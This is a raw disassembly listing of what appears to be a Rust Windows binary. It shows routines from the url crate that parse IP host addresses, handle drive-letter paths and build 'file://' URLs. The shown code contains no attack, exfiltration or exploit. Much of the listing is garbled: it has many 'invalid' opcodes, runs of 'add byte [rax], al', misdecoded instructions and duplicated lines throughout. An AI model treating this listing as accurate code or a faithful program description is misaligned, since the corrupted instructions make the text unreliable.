cmp byte [rdx + r11], 0x2e
jne case.0x14014c89f.1919
inc r11
cmp r11, r8
jae case.0x14014c89f.1919
movzx ebx, byte [rdx + r11]
add bl, 0xd0
cmp bl, 9
ja case.0x14014c89f.1919
movzx edi, bl
inc r11
mov r14, r11
cmp r11, r8
mov r11, r8
je 0x14017ade9
movzx r11d, byte [rdx + r14]
add r11b, 0xd0
cmp r11b, 0xa
jae 0x14017addd
test di, di
je case.0x14014c89f.1919
add edi, edi
lea ebp, [rdi + rdi*4]
movzx edi, r11b
add edi, ebp
movzx r11d, di
cmp r11d, 0xff
ja case.0x14014c89f.1919
inc r14
cmp r8, r14
jne 0x14017ad9c
mov r11, r8
jmp 0x14017ade9
mov r11, r14
cmp bl, 0xa
jae case.0x14014c89f.1919
cmp rax, 8
jae 0x14017ae8a
movzx ebx, word [rsp + rax*2 + 0x20]
shl ebx, 8
add edi, ebx
mov word [rsp + rax*2 + 0x20], di
mov edi, esi
or edi, 2
cmp edi, 3
jne 0x14017ae0f
inc rax
inc esi
cmp r11, r8
jb 0x14017ad56
cmp esi, 4
je 0x14017aa40
jmp case.0x14014c89f.1919
cmp rax, 8
jne case.0x14014c89f.1919
movdqa xmm0, xmmword [rsp + 0x20]
movdqa xmm1, xmm0
psrlw xmm1, 8
ror dword [rax], 1
ror dword [rax], 1
psllw xmm0, 8
por xmm0, xmm1
movdqu xmmword [rcx + 1], xmm0
mov byte [rcx], 0
jmp 0x14017aa4e
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
mov edx, 8
mov rcx, rax
call fcn.140186a70
ud2
mov rax, 0xffffffffffffffff
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
mov edx, 8
mov rcx, rax
call fcn.140186a70
ud2
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
mov edx, 8
mov rcx, rax
call fcn.140186a70
ud2
mov rax, r9
jmp 0x14017ae74
iretd
iretd
in al, dx
mov qword [rsp + 0x30], rcx
mov rbp, qword [rdx + 0x10]
mov rbx, qword [rdx + 0x18]
xor eax, eax
mov qword [rsp + 0x20], rax
adc byte [rax - 0x75], cl
pop rdx
sbb byte [rcx], dh
ror byte [rax - 0x77], 0x44
and al, 0x20
cmp rbp, rbx
ja 0x14017aff2
mov r12, rdx
mov r15, qword [rdx + 8]
jp 0x14017aeec
jp 0x14017aeec
cmp rbx, r15
ja 0x14017aff2
add byte [rcx - 0x75], cl
add al, 0x24
mov rax, qword [r12]
mov qword [rsp + 0x38], rax
lea r14, [rax + rbp]
lea rsi, [r12 + 0x28]
mov rax, qword [r12 + 0x20]
lea r13, [rax - 1]
mov qword [rsp + 0x28], rax
cmp rax, 4
jbe 0x14017af73
xor eax, eax
mov qword [rsp + 0x20], rax
nop word [rax + rax]
sub rbx, rbp
movzx ecx, byte [rsi + r13]
mov rdx, r14
mov r8, rbx
call fcn.140018720
cmp rax, 1
jne 0x14017afe6
mov rbx, rdx
add rbx, rbp
mov rax, rbx
sub rax, r13
jb 0x14017af5b
add rax, qword [rsp + 0x28]
jb 0x14017af5b
cmp rax, r15
jbe 0x14017b029
mov qword [r12 + 0x18], rbx
cmp rbp, rbx
ja 0x14017aff2
cmp rbx, r15
jbe 0x14017af20
jmp 0x14017aff2
xor eax, eax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], r14
nop
sub rbx, rbp
movzx ecx, byte [rsi + r13]
mov rdx, r14
mov r8, rbx
call fcn.140018720
cmp rax, 1
jne 0x14017afe6
mov rbx, rdx
add rbx, rbp
mov r14, rbx
sub r14, r13
jb 0x14017afd0
mov rdi, r14
add rdi, qword [rsp + 0x28]
jb 0x14017afd0
cmp rdi, r15
ja 0x14017afd0
mov rax, qword [rsp + 0x38]
lea rcx, [rax + r14]
mov rdx, rsi
mov r8, qword [rsp + 0x28]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14017b010
mov qword [r12 + 0x18], rbx
cmp rbp, rbx
ja 0x14017aff2
cmp rbx, r15
mov r14, qword [rsp + 0x40]
jbe 0x14017af80
jmp 0x14017aff2
mov qword [r12 + 0x18], rbp
xor eax, eax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
mov qword [rax], rcx
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [r12 + 0x18], r14
mov rax, qword [rsp + 0x30]
mov qword [rax + 8], r14
mov qword [rax + 0x10], rdi
mov eax, 1
jmp 0x14017afed
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_strpattern.rs
mov edx, 4
mov rcx, qword [rsp + 0x28]
call fcn.140186af0
ud2
mov rcx, qword [rsi]
add rcx, rbx
lea rdx, [rsp + 0x2c]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rdi
mov qword [rsi + 0x10], rbx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rbx, qword [rsi + 0x10]
jmp 0x14017b1b5
mov dword [rsp + 0x20], ecx
add byte [rax], al
invalid
adc eax, 0x13d23
add byte [rax], al
mov ecx, dword [rsi + 0x20]
mov edx, dword [rsi + 0x18]
add byte [rax], al
add byte [rax], al
nop word cs:[rax + rax]
lea eax, [rdx + 3]
nop word cs:[rax + rax]
movzx ebx, bl
jns 0x14017b4dd
mov edx, ecx
lea ecx, [rdx - 4]
in eax, 7
jrcxz 0x14017b4ee
and bl, 0x3f
add byte [rax - 0x77], cl
int1
ror byte [rax - 0x73], 1
add al, 0x37
add al, byte [rcx - 0x3f]
loope case.0x1400e7c73.2045
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x5d], al
ror dword [rdi], 0x82
movabs dword [0x840fc23948000000], eax
cmp rdx, rax
invalid
invalid
mov bl, 0
invalid
mov dh, 0x1a
adc byte [rax - 1], cl
ret 0x8341
invalid
cmp eax, 0x110000
add byte [rax], al
mov dh, 0x11
invalid
fbstp tbyte [rsi + 0x4e]
enter 0xfffffffffffff883, 0xd
add ebx, 3
add byte [rax], al
add byte [0x14028b925], bh
add byte [rdi], cl
movabs dword [0x41000000b5830fd0], eax
cmp eax, 0x110000
add byte [rax], al
xchg ebp, eax
lock add byte [rax], al
add byte [rax - 0x75], cl
lea eax, [rax + 1]
add byte [rax], al
add byte [rcx + 0xf], al
xchg ebp, eax
mov byte [rbp], 0xf6
movzx eax, word es:[rdx]
ror dword [rdi], 0x94
rol byte [rcx - 0x4a], 2
add eax, dword [rcx - 0x4a]
add dword [rcx + rcx*4 - 0x18], ecx
mov eax, ebp
mov eax, ebp
nop
add byte [rax], al
add byte [rcx + rcx*4 - 0x16], cl
test dh, bh
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], al
mov ecx, r13d
test dword [rdi + 0x48000001], ecx
mov eax, dword [rbp + 0xd0]
sub byte [rbp + 0xc0], bl
add al, ch
push rax
or al, byte [rax]
add byte [rax + rax*8 + 0x285840f], al
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7b], cl
lock add byte [rax], al
add byte [rbx + rcx*4 - 0x73], cl
mov r9, qword [rbp + 0xf8]
mov rax, qword [rbp + 0xd0]
invalid
invalid
test dword [rax], esi
add dword [rax], eax
add byte [rdi], cl
sub byte [rbp + 0x90], al
popfq
rol byte [rax], 0
add byte [rdi], cl
sub dword [rbp + 0x120], ebx
add byte [rbx + 0xe085], cl
add byte [rcx + 0x44282444], cl
mov byte [rsp + 0x20], dh
xor eax, eax
add byte [rcx], dh
leave
mov ecx, ebx
add al, byte [rcx - 0x3f]
add byte [rax], al
in eax, 6
add byte [rbp - 0x77], cl
enter 0xffffffffffffc1e8, 0xffffffffffffffa2
add byte [rax], al
ror byte [rax + 0xf], 0x44
invalid
sub byte [rbp + 0xc0], dl
add byte [rax - 0x77], cl
test dword [rax], eax
add dword [rax], eax
add byte [rax - 0x75], cl
test dword [rax + 0x48000000], ebp
mov dword [rbp + 0x108], eax
test dword [rbp + 1], ecx
add byte [rax], al
add dword [rax - 0x77], ecx
jmp 0x128fa4c2e
and byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
je 0x14017c69f
sub byte [rax + rcx*4 + 0x74], al
and al, 0x20
add byte [rax], al
int3
xor r8d, 0x73
or r8w, ax
je 0x14017c8b2
movzx eax, word [rcx]
rol ax, 8
movzx r8d, ax
movzx eax, ax
mov al, 1
mov dx, 0x1bb
movzx eax, al
ret
int3
add byte [rax], al
add byte [rcx + rcx*4 - 0x21], al
movzx esi, byte [rcx + 1]
test byte [rbx + 3], al
add byte [rax], al
nop word cs:[rax + rax]
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
and dword [rbx - 0x7a76ddbb], ecx
mov al, 0
add byte [rax], al
add r8b, byte [r8]
add byte [rbp + 0x31], al
ror byte [rdi], cl
mov dh, 0x85
jo 0x14017d7a4
add byte [rax], al
add bl, ch
or dword [rdi], ecx
test esi, edi
or al, byte [rax]
add byte [rcx - 0x77], cl
sal byte [rcx], cl
sar byte [rcx + rax], cl
ret 0x88fe
mov esp, 0xf44ffff
mov dh, 0x75
and byte [rcx - 0x80], al
inc byte [rbx]
add byte [rax], al
invalid
rol byte [rax], 1
add byte [rax], al
loope 0x14017d988
invalid
add byte [rax], al
add byte [rcx - 0x4a], al
add ecx, dword [rax - 0x7d]
mov ebp, 0x98
add byte [rsp + rbx + 0x48], dh
mov ecx, dword [0x14023c258]
mov es, word [rax]
add cl, ch
cmp al, 1
add byte [rax], al
invalid
add al, 0
rol byte [rbp + 0x31], cl
leave
mov cl, 0xeb
dec dword [rax - 0x7d]
jge 0x140180495
add byte [rdi], cl
test bh, bl
add al, byte [rax]
add byte [rax - 0x75], cl
xor byte [r8 - 0x75], r9b
invalid
mov ecx, dword [rbp + 0x138]
cmp rax, 2
je 0x140180795
add al, byte [rax]
invalid
test bl, bh
add al, byte [rax]
add cl, ch
insb byte [rdi], dx
add eax, dword [rax]
add byte [rcx - 0x75], cl
jmp 0x14018080b
or byte [rcx - 0x75], r9b
push rsi
adc byte [rax + 0x29], cl
ror byte [rax - 0x7d], 1
clc
invalid
mov rdx, qword [r14 + 0x10]
adc byte [rcx - 0x75], cl
invalid
mov rax, qword [r14]
movabs rcx, 0x2f2f2f3a656c6966
mov qword [rax + rdx], rcx
add rdx, 8
mov qword [r14 + 0x10], rdx
mov byte [rbp + 0x60], 0
mov byte [rbp + 0xbf], 1
add dword [rax - 0x77], ecx
jl 0x140180515
sub byte [rax - 0x77], cl
pop rsp
and al, 0x20
add dword [rax - 0x77], ecx
jl 0x140180515
sub byte [rax - 0x77], cl
pop rsp
and al, 0x20
lea r8, [rbp + 0x60]
mov r9d, 7
mov rcx, r14
xor edx, edx
call fcn.14017e800
mov byte [rbp + 0xbf], 1
mov qword [rsp + 0x28], rdx
and al, 0x28
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x60]
mov rdx, r14
xor r8d, r8d
mov r9d, 4
call fcn.140182d00
mov eax, dword [rbp + 0x60]
cmp eax, 2
je 0x140180f50
mov ecx, dword [rbp + 0x6c]
mov rdx, qword [rbp + 0x64]
mov r9, qword [rbp + 0xb0]
mov r8, qword [r9 + 0x10]
mov qword [rsi + 0x20], r8
movups xmm0, xmmword [r9]
movups xmmword [rsi + 0x10], xmm0
mov dword [rsi], eax
mov qword [rsi + 4], rdx
mov dword [rsi + 0xc], ecx
mov word [rsi + 0x28], 0
movaps xmm0, xmmword [0x14018f9b0]
movups xmmword [rsi + 0x2c], xmm0
mov dword [rsi + 0x3c], 7
mov byte [rsi + 0x40], 0
jmp 0x140180f7d
mov r15, qword [r8 + 0x20]
cmp r15, r9
jbe 0x140180a72
cmp byte [rbx + r9], 0xbf
jle 0x140180a78
mov r15, r9
jmp 0x140180ed0
movzx eax, byte [rbx]
and al, 0xdf
add al, 0xbf
cmp al, 0x19
ja 0x14018080b
cmp byte [rbx + 1], 0x3a
jne 0x14018080b
mov rdx, qword [r14 + 0x10]
cmp rdx, qword [r14 + 8]
jne 0x1401807c3
mov byte [rbp + 0xbf], 1
mov rcx, r14
call fcn.140050110
mov rdx, qword [r14 + 0x10]
mov rax, qword [r14]
mov byte [rax + rdx], 0x2f
inc rdx
mov qword [r14 + 0x10], rdx
mov rax, qword [r14 + 8]
sub rax, rdx
cmp rax, 1
ja 0x1401807f7
mov byte [rbp + 0xbf], 1
mov r8d, 2
mov rcx, r14
call fcn.14018d7c0
mov rdx, qword [r14 + 0x10]
mov rax, qword [r14]
movzx ecx, word [rbx]
mov word [rax + rdx], cx
add rdx, 2
mov qword [r14 + 0x10], rdx
jmp 0x14018084a
movzx eax, byte [rcx + 0x40]
test al, al
je 0x14018084a
mov esi, dword [rcx + 0x34]
mov ebx, dword [rcx + 0x38]
mov r8, qword [rcx + 0x10]
mov rdx, qword [rcx + 0x20]
cmp esi, ebx
ja 0x140180ab0
test esi, esi
je 0x140180aa0
cmp rdx, rsi
jbe 0x140180a9e
cmp byte [r8 + rsi], 0xc0
jge 0x140180aa0
jmp 0x140180ab0
mov dword [rbp + 0x50], 0
jmp 0x140180b40
cmp dword [rax], eax
je 0x140180cf1
mov r13, rbx
lea rax, [rcx + 4]
mov ebx, dword [rax]
mov r14, qword [rcx + 0x10]
test rbx, rbx
jne 0x140180d11
jmp 0x140181069
mov eax, dword [rbp + 0x48]
mov byte [rax + 4], 9
mov dword [rax], 2
mov rax, qword [rbp + 0xb0]
cmp qword [rax + 8], 0
jne 0x140180f6b
jmp 0x140180f7d
or byte [rcx - 0x75], cl
pop rax
adc byte [rbp - 0x7b], cl
leave
jne 0x140180635
mov r12, r14
mov r14, qword [r14 + 0x10]
xor r15d, r15d
jmp 0x140180efd
and cl, ch
in al, dx
add dword [rax], eax
add byte [rdi], cl
test byte [rax + 4], bl
add byte [rax], al
je 0x140180ed0
mov byte [rbp + 0xbf], 1
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, r15
xor r8d, r8d
call fcn.1401870e0
jmp 0x140181348
jne 0x140180ab0
test ebx, ebx
je 0x140180ad8
cmp rdx, rbx
jbe 0x140180ad6
cmp byte [r8 + rbx], 0xbf
jg 0x140180ad8
mov byte [rbp + 0xbf], 1
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, r8
mov r8, rsi
mov r9, rbx
call fcn.1401870e0
jmp 0x140181348
jne 0x140180ab0
mov dword [rbp + 0x50], eax
sub rbx, rsi
mov r14, qword [rbp + 0xb0]
mov rax, qword [r14 + 8]
mov r13, qword [r14 + 0x10]
sub rax, r13
cmp rax, rbx
jae 0x140180b16
mov qword [rbp - 8], r8
mov byte [rbp + 0xbf], 1
mov rcx, r14
mov rdx, r13
mov r8, rbx
call fcn.14018d7c0
mov r13, qword [r14 + 0x10]
mov r8, qword [rbp - 8]
add r8, rsi
mov rcx, qword [r14]
add rcx, r13
mov rdx, r8
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r13, rbx
mov qword [r14 + 0x10], r13
mov rax, qword [rbp + 0x138]
movups xmm0, xmmword [rax + 0x41]
movaps xmmword [rbp], xmm0
mov rbx, qword [rbp + 0x58]
add r15d, 0xffffffdd
cmp r15d, 0x39
ja 0x140180b61
movabs rax, 0x200000010001001
bt rax, r15
jae 0x140180b61
mov r12, rbx
mov byte [rbp + 0x60], 0
mov byte [rbp + 0xbf], 1
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x60]
mov rcx, r14
xor edx, edx
mov r9, r13
call fcn.14017e800
mov byte [rbp + 0xbf], 1
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x60]
mov rdx, r14
movzx r8d, byte [rbp + 0x130]
mov r9d, 4
call fcn.140182d00
mov eax, dword [rbp + 0x60]
cmp eax, 2
jne 0x140180be2
movzx eax, byte [rbp + 0x64]
mov rcx, qword [rbp + 0x48]
mov byte [rcx + 4], al
mov dword [rcx], 2
mov rax, qword [rbp + 0xb0]
cmp qword [rax + 8], 0
jne 0x140180f6b
jmp 0x140180f7d
mov ecx, dword [rbp + 0x6c]
mov rdx, qword [rbp + 0x64]
mov r9, qword [rbp + 0xb0]
mov r8, qword [r9 + 0x10]
mov r10, qword [rbp + 0x48]
mov qword [r10 + 0x20], r8
movups xmm0, xmmword [r9]
movups xmmword [r10 + 0x10], xmm0
movaps xmm0, xmmword [rbp]
movups xmmword [r10 + 0x41], xmm0
mov dword [r10], eax
mov qword [r10 + 4], rdx
mov dword [r10 + 0xc], ecx
mov word [r10 + 0x28], 0
movabs rax, 0x700000004
mov qword [r10 + 0x2c], rax
mov dword [r10 + 0x34], 7
mov dword [r10 + 0x38], r13d
mov dword [r10 + 0x3c], r13d
mov eax, dword [rbp + 0x50]
mov byte [r10 + 0x40], al
jmp 0x140180f7d
adc dword [rsi + 0x2c], eax
mov dword [rsi + 0x3c], eax
jmp 0x140180f7d
cmp dword [rcx + 8], 0
or byte [rax], al
je 0x14018105e
mov r13, rbx
lea rax, [rcx + 0xc]
mov ebx, dword [rax]
mov r14, qword [rcx + 0x10]
test rbx, rbx
je 0x140181069
mov rdx, qword [rcx + 0x20]
cmp rdx, rbx
jbe 0x140180fe7
cmp byte [r14 + rbx], 0xbf
jg 0x140181069
invalid
jmp 0x1401812b0
mov rdx, r15
call fcn.140050110
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi]
mov byte [rcx + rax], 0x2f
inc rax
mov qword [rsi + 0x10], rax
mov byte [rbp + 0xbf], 1
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
mov r8, rbp
mov rcx, rsi
xor edx, edx
mov r9, r15
call fcn.14017e800
mov rbx, rax
mov r14, rdx
cmp byte [rbp], 0
jne 0x140180e0b
cmp r15, 7
jb 0x1401812d3
mov rax, qword [rbp + 0xb0]
mov eax, dword [rbp + 0xb0]
mov rdx, qword [rax + 0x10]
cmp rdx, r15
jb 0x1401812f0
mov rax, qword [rax]
cmp rdx, 8
jb 0x140180dc0
cmp byte [rax + 7], 0xbf
jle 0x140181308
cmp rdx, r15
jbe 0x140180dd0
cmp byte [rax + r15], 0xbf
jle 0x140181329
lea rcx, [rax + 7]
add rax, r15
add eax, edi
add eax, edi
mov rdx, qword [rbp + 0xb0]
mov qword [rbp + 0x70], rdx
mov qword [rbp + 0x78], 7
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], rax
lea rcx, [rbp + 0x60]
invalid
call fcn.1400113a0
mov r15d, 7
xor r12d, r12d
invalid
mov byte [rbp + 0xbf], 1
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rbx
lea rcx, [rbp + 0x60]
mov rdx, qword [rbp + 0xb0]
movzx r8d, byte [rbp + 0x130]
mov r9d, 4
call fcn.140182d00
mov eax, dword [rbp + 0x60]
cmp eax, 2
je 0x140180bba
mov ecx, dword [rbp + 0x6c]
mov rdx, qword [rbp + 0x64]
mov r9, qword [rbp + 0xb0]
mov r8, qword [r9 + 0x10]
mov r10, qword [rbp + 0x48]
mov qword [r10 + 0x20], r8
movups xmm0, xmmword [r9]
movups xmmword [r10 + 0x10], xmm0
movzx r8d, word [rbp + 0x28]
mov word [r10 + 0x45], r8w
movzx r8d, byte [rbp + 0x2a]
mov byte [r10 + 0x47], r8b
mov dword [r10], eax
mov qword [r10 + 4], rdx
mov dword [r10 + 0xc], ecx
mov word [r10 + 0x28], 0
movabs rax, 0x700000004
mov qword [r10 + 0x2c], rax
mov dword [r10 + 0x34], 7
mov dword [r10 + 0x38], r15d
mov dword [r10 + 0x3c], r15d
mov byte [r10 + 0x40], r12b
mov eax, dword [rbp + 0x58]
mov dword [r10 + 0x41], eax
mov rax, qword [rbp + 0x50]
mov qword [r10 + 0x48], rax
mov byte [r10 + 0x50], r13b
jmp 0x140180f7d
add byte [rax], al
add byte [rax], al
mov rbx, qword [r8 + 0x10]
mov r15, qword [r8 + 0x20]
mov rax, qword [r14 + 8]
mov r12, r14
mov r14, qword [r14 + 0x10]
sub rax, r14
cmp rax, r15
jae 0x140180efd
or byte [rbp - 0x77], cl
hlt
mov byte [rbp + 0xbf], 1
mov rcx, r12
mov rdx, r14
mov r8, r15
call fcn.14018d7c0
mov r14, qword [r12 + 0x10]
mov rcx, qword [r12]
add rcx, r14
mov rdx, rbx
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add r14, r15
mov qword [r12 + 0x10], r14
mov rax, qword [rbp + 0x138]
mov ebx, dword [rax + 0x2c]
mov byte [rbp + 0xbf], 1
mov qword [rsp + 0x28], rdi
mov rax, qword [rbp + 0x58]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x60]
mov rdx, r12
mov r8d, r13d
mov r9d, ebx
call fcn.140182d00
mov eax, dword [rbp + 0x60]
cmp eax, 2
jne 0x140180f92
movzx eax, byte [rbp + 0x64]
mov byte [rsi + 4], al
mov dword [rsi], 2
mov rax, qword [rbp + 0xb0]
cmp qword [rax + 8], 0
je 0x140180f7d
mov r8, qword [rax]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x148
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ecx, dword [rbp + 0x6c]
mov rdx, qword [rbp + 0x64]
mov r9, qword [rbp + 0xb0]
mov r8, qword [r9 + 0x10]
mov qword [rsi + 0x20], r8
movups xmm0, xmmword [r9]
movups xmmword [rsi + 0x10], xmm0
mov r9, qword [rbp + 0x138]
movups xmm0, xmmword [r9 + 0x40]
movups xmmword [rsi + 0x40], xmm0
movzx r8d, byte [r9 + 0x50]
mov byte [rsi + 0x50], r8b
mov dword [rsi], eax
mov qword [rsi + 4], rdx
mov dword [rsi + 0xc], ecx
mov eax, dword [r9 + 0x28]
mov dword [rsi + 0x28], eax
mov dword [rsi + 0x2c], ebx
movups xmm0, xmmword [r9 + 0x30]
movups xmmword [rsi + 0x30], xmm0
jmp 0x140180f7d
jne 0x1401812b0
mov rbx, rdx
jmp 0x140181069
mov r13, rbx
mov r14, qword [rcx + 0x10]
mov rbx, qword [rcx + 0x20]
mov r12, qword [rbp + 0xb0]
mov rax, qword [r12 + 8]
mov r15, qword [r12 + 0x10]
sub rax, r15
cmp rax, rbx
jae 0x14018109c
mov byte [rbp + 0xbf], 1
mov rcx, r12
mov rdx, r15
mov r8, rbx
call fcn.14018d7c0
mov r15, qword [r12 + 0x10]
mov rcx, qword [r12]
add rcx, r15
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r15, rbx
mov qword [r12 + 0x10], r15
mov rax, qword [rbp + 0x138]
mov ebx, dword [rax + 0x3c]
cmp r15, rbx
je 0x140181138
mov rcx, qword [r12]
test ebx, ebx
je 0x140181101
mov rax, r15
sub rax, rbx
jbe 0x1401810db
cmp byte [rcx + rbx], 0xbf
jg 0x140181104
mov byte [rbp + 0xbf], 1
lea rax, [0x1401ea9d8]
mov qword [rsp + 0x20], rax
mov rdx, r15
mov r8, rbx
mov r9, r15
call fcn.1401870e0
jmp 0x140181348
mov rax, r15
cmp rax, 2
mov r12, qword [rbp + 0xb0]
jne 0x140181124
movzx eax, byte [rcx + rbx]
and al, 0xdf
add al, 0xbf
cmp al, 0x19
ja 0x140181124
cmp byte [rcx + rbx + 1], 0x3a
je 0x140181138
mov byte [rbp + 0xbf], 1
mov rcx, r12
xor edx, edx
mov r8, rbx
call fcn.1401833d0
mov byte [rbp + 0x60], 1
mov byte [rbp + 0xbf], 1
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r13
lea r8, [rbp + 0x60]
mov rcx, r12
xor edx, edx
mov r9, rbx
call fcn.14017e800
mov rcx, qword [r12 + 0x40]
mov qword [rbp + 0xa0], rcx
movups xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
movups xmm2, xmmword [r12 + 0x20]
movups xmm2, xmmword [rsp + 0x20]
movups xmm2, xmmword [rsp + 0x20]
movups xmm3, xmmword [r12 + 0x30]
movaps xmmword [rbp + 0x90], xmm3
movaps xmmword [rbp + 0x80], xmm2
movaps xmmword [rbp + 0x70], xmm1
movaps xmmword [rbp + 0x60], xmm0
mov r14, qword [rbp + 0x138]
mov r9d, dword [r14 + 0x2c]
mov ecx, dword [r14 + 0x30]
mov r8d, dword [r14 + 0x34]
mov r10d, dword [r14 + 0x38]
lea r11, [r14 + 0x40]
mov di, word [r14 + 0x28]
mov r14w, word [r14 + 0x2a]
mov byte [rbp + 0xbf], 0
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x50], ebx
mov word [rsp + 0x48], r14w
mov word [rsp + 0x40], di
mov qword [rsp + 0x38], r11
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], ecx
lea rdx, [rbp + 0x60]
mov rcx, rsi
xor r8d, r8d
call fcn.14017fae0
jmp 0x140180f7d
mov edx, 0x2b
call fcn.140186b70
jmp 0x140181348
mov byte [rbp + 0xbf], 1
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, r14
xor r8d, r8d
ror byte [rcx - 0x77], 0xd9
ror byte [rcx - 0x77], 0xd9
call fcn.1401870e0
jmp 0x140181348
mov byte [rbp + 0xbf], 1
lea r8, [0x1401ea430]
mov ecx, 7
mov rdx, r15
call fcn.140186d80
jmp 0x140181348
mov byte [rbp + 0xbf], 1
lea r8, [0x1401ea430]
mov rcx, r15
call fcn.140186af0
jmp 0x140181348
mov byte [rbp + 0xbf], 1
lea rcx, str.assertion_failed:_self.is_char_boundary_start_
lea r8, [0x1401ea478]
mov edx, 0x2e
call fcn.140186b70
jmp 0x140181348
mov byte [rbp + 0xbf], 1
lea rcx, str.assertion_failed:_self.is_char_boundary_end_
lea r8, [0x1401ea4c0]
mov edx, 0x2c
call fcn.140186b70
ud2
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rdx + 0x80]
lea rcx, [rbp + 0x28]
call fcn.14017c7e0
nop
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rdi
add dword [rcx - 0x7d], eax
loop 0x1401814ed
cmp cl, 0xdf
jbe 0x1401814f7
movzx r8d, byte [r15 + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x14018150a
movzx ecx, byte [r15 + 3]
and edx, 7
shl edx, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
je 0x14018189e
add edi, 4
cmp ecx, 0xd
jbe 0x140181520
jmp 0x140181540
add r15, 2
shl edx, 6
or edx, r10d
mov ecx, edx
cmp ecx, 0xd
jbe 0x140181520
jmp 0x140181540
add r15, 3
shl edx, 0xc
or r8d, edx
mov ecx, r8d
cmp ecx, 0xd
ja 0x140181540
mov edx, 0x110000
bt eax, ecx
jae 0x140181540
cmp edx, 0x110000
je 0x140181470
mov edx, ecx
cmp edx, 0x110000
je 0x140181470
add byte [rdi], cl
xchg ebp, eax
ret
stosb byte [rdi], al
or eax, dword [rax]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test bl, bl
je 0x140181851
mov rax, qword [rbp + 0x58]
mov rax, qword [rax + 0x28]
mov byte [rbp + 0x6f], 1
mov rcx, r15
mov dl, 3
call rax
mov esi, dword [rdi + 0x2c]
mov ebx, esi
mov r13, qword [rdi + 0x10]
inc ebx
je 0x140181bcc
test byte [rdx + 3], ch
add byte [rax], al
test byte [rdx + 3], ch
add byte [rax], al
mov rdx, qword [rdi + 0x20]
cmp rdx, rbx
jbe 0x140181bc6
cmp byte [r13 + rbx], 0xbf
jg 0x140181bcc
mov byte [rbp + 0x6f], 1
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
invalid
add byte [rax - 0x77], cl
and al, 0x20
mov rcx, r13
xor r8d, r8d
mov r9, rbx
call fcn.1401870e0
jmp 0x1401822b9
invalid
jne 0x14018187b
mov r15, qword [rbp + 0x60]
mov rax, qword [r15 + 8]
mov rdi, qword [r15 + 0x10]
sub rax, rdi
cmp rax, rbx
jae 0x140181bf6
mov byte [rbp + 0x6f], 1
mov rcx, r15
mov rdx, rdi
mov r8, rbx
call fcn.14018d7c0
mov rdi, qword [r15 + 0x10]
mov rcx, qword [r15]
add rcx, rdi
mov rdx, r13
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add rdi, rbx
mov qword [r15 + 0x10], rdi
mov rax, qword [rbp - 8]
mov qword [rbp], rax
mov qword [rbp + 8], r14
lea rcx, [0x1401ea810]
mov r8, rbp
mov edx, 2
call fcn.14017c8e0
test al, al
je 0x140181c86
mov r8, qword [rbp]
mov r9, qword [rbp + 8]
mov rax, qword [r15 + 0x40]
mov qword [rbp + 0x40], rax
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
